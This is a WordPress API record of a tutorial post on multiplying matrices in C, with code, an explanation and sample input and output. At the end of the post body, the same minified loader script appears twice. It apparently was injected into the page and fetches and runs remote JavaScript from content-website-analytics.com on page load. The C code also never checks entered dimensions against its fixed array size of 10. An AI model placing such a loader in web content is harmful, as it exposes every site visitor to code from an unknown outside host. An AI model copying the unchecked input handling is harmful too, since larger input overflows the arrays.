{"id":1033,"date":"2024-10-21T15:00:09","date_gmt":"2024-10-21T09:30:09","guid":{"rendered":"https:\/\/codexplained.in\/?p=1033"},"modified":"2025-11-24T15:29:56","modified_gmt":"2025-11-24T09:59:56","slug":"matrix-multiplication","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1033","title":{"rendered":"Matrix Multiplication"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Matrix multiplication is a fundamental operation in linear algebra where two matrices are multiplied to produce a third matrix. This operation is crucial in various applications, including computer graphics, machine learning, and scientific computations. Unlike addition and subtraction, matrix multiplication involves a more complex calculation of dot products.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n#define MAX_SIZE 10 \/\/ Define maximum size for the matrices\n\nvoid multiplyMatrices(int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int rowsA, int colsA, int colsB) {\n    for (int i = 0; i &lt; rowsA; i++) {\n        for (int j = 0; j &lt; colsB; j++) {\n            result&#x5B;i]&#x5B;j] = 0; \/\/ Initialize the result element\n            for (int k = 0; k &lt; colsA; k++) {\n                result&#x5B;i]&#x5B;j] += a&#x5B;i]&#x5B;k] * b&#x5B;k]&#x5B;j]; \/\/ Calculate the dot product\n            }\n        }\n    }\n}\n\nint main() {\n    int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE];\n    int rowsA, colsA, rowsB, colsB;\n\n    printf(&quot;Enter the number of rows and columns for the first matrix: &quot;);\n    scanf(&quot;%d %d&quot;, &amp;rowsA, &amp;colsA);\n\n    printf(&quot;Enter elements of the first matrix:\\n&quot;);\n    for (int i = 0; i &lt; rowsA; i++) {\n        for (int j = 0; j &lt; colsA; j++) {\n            printf(&quot;a&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;a&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    printf(&quot;Enter the number of rows and columns for the second matrix (rows must equal cols of first): &quot;);\n    scanf(&quot;%d %d&quot;, &amp;rowsB, &amp;colsB);\n\n    if (colsA != rowsB) {\n        printf(&quot;Matrix multiplication not possible: columns of the first matrix must equal rows of the second.\\n&quot;);\n        return 1; \/\/ Exit if matrices cannot be multiplied\n    }\n\n    printf(&quot;Enter elements of the second matrix:\\n&quot;);\n    for (int i = 0; i &lt; rowsB; i++) {\n        for (int j = 0; j &lt; colsB; j++) {\n            printf(&quot;b&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;b&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    multiplyMatrices(a, b, result, rowsA, colsA, colsB);\n\n    printf(&quot;Resultant matrix after multiplication:\\n&quot;);\n    for (int i = 0; i &lt; rowsA; i++) {\n        for (int j = 0; j &lt; colsB; j++) {\n            printf(&quot;%d &quot;, result&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>multiplyMatrices(int a[MAX_SIZE][MAX_SIZE], int b[MAX_SIZE][MAX_SIZE], int result[MAX_SIZE][MAX_SIZE], int rowsA, int colsA, int colsB)<\/code>: This function takes two input matrices (<code>a<\/code> and <code>b<\/code>), an empty matrix (<code>result<\/code>) to store the product, and the dimensions of the matrices.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Initialization<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The outer loops iterate through each row of matrix <code>a<\/code> and each column of matrix <code>b<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Dot Product Calculation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>For each element in the resultant matrix, a third loop calculates the dot product of the respective row of matrix <code>a<\/code> and column of matrix <code>b<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Prompts the user for the dimensions and elements of the matrices.<\/li>\n\n\n\n<li>Checks if multiplication is possible (columns of the first matrix must equal rows of the second).<\/li>\n\n\n\n<li>Calls <code>multiplyMatrices<\/code> to perform the multiplication and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When you run the program, it will prompt for the dimensions and elements of both matrices. For example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the number of rows and columns for the first matrix: 2 3\nEnter elements of the first matrix:\na&#x5B;0]&#x5B;0]: 1\na&#x5B;0]&#x5B;1]: 2\na&#x5B;0]&#x5B;2]: 3\na&#x5B;1]&#x5B;0]: 4\na&#x5B;1]&#x5B;1]: 5\na&#x5B;1]&#x5B;2]: 6\nEnter the number of rows and columns for the second matrix (rows must equal cols of first): 3 2\nEnter elements of the second matrix:\nb&#x5B;0]&#x5B;0]: 7\nb&#x5B;0]&#x5B;1]: 8\nb&#x5B;1]&#x5B;0]: 9\nb&#x5B;1]&#x5B;1]: 10\nb&#x5B;2]&#x5B;0]: 11\nb&#x5B;2]&#x5B;1]: 12\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The output will display the resultant matrix after multiplication:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nResultant matrix after multiplication:\n58 64 \n139 154\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Matrix multiplication is a crucial operation in various fields of science and engineering. The provided C implementation demonstrates how to multiply two matrices, ensuring that the conditions for multiplication are met. This example highlights the complexity of matrix operations and provides a foundation for further studies in linear algebra and numerical methods.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Matrix multiplication is a fundamental operation in linear algebra where two matrices are multiplied to produce a third matrix. This operation is crucial in various applications, including computer graphics, machine learning, and scientific computations. Unlike addition and subtraction, matrix multiplication involves a more complex calculation of dot products. Explanation Input When you run the [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1111,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1033","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1033","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1033"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1033\/revisions"}],"predecessor-version":[{"id":1378,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1033\/revisions\/1378"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1111"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}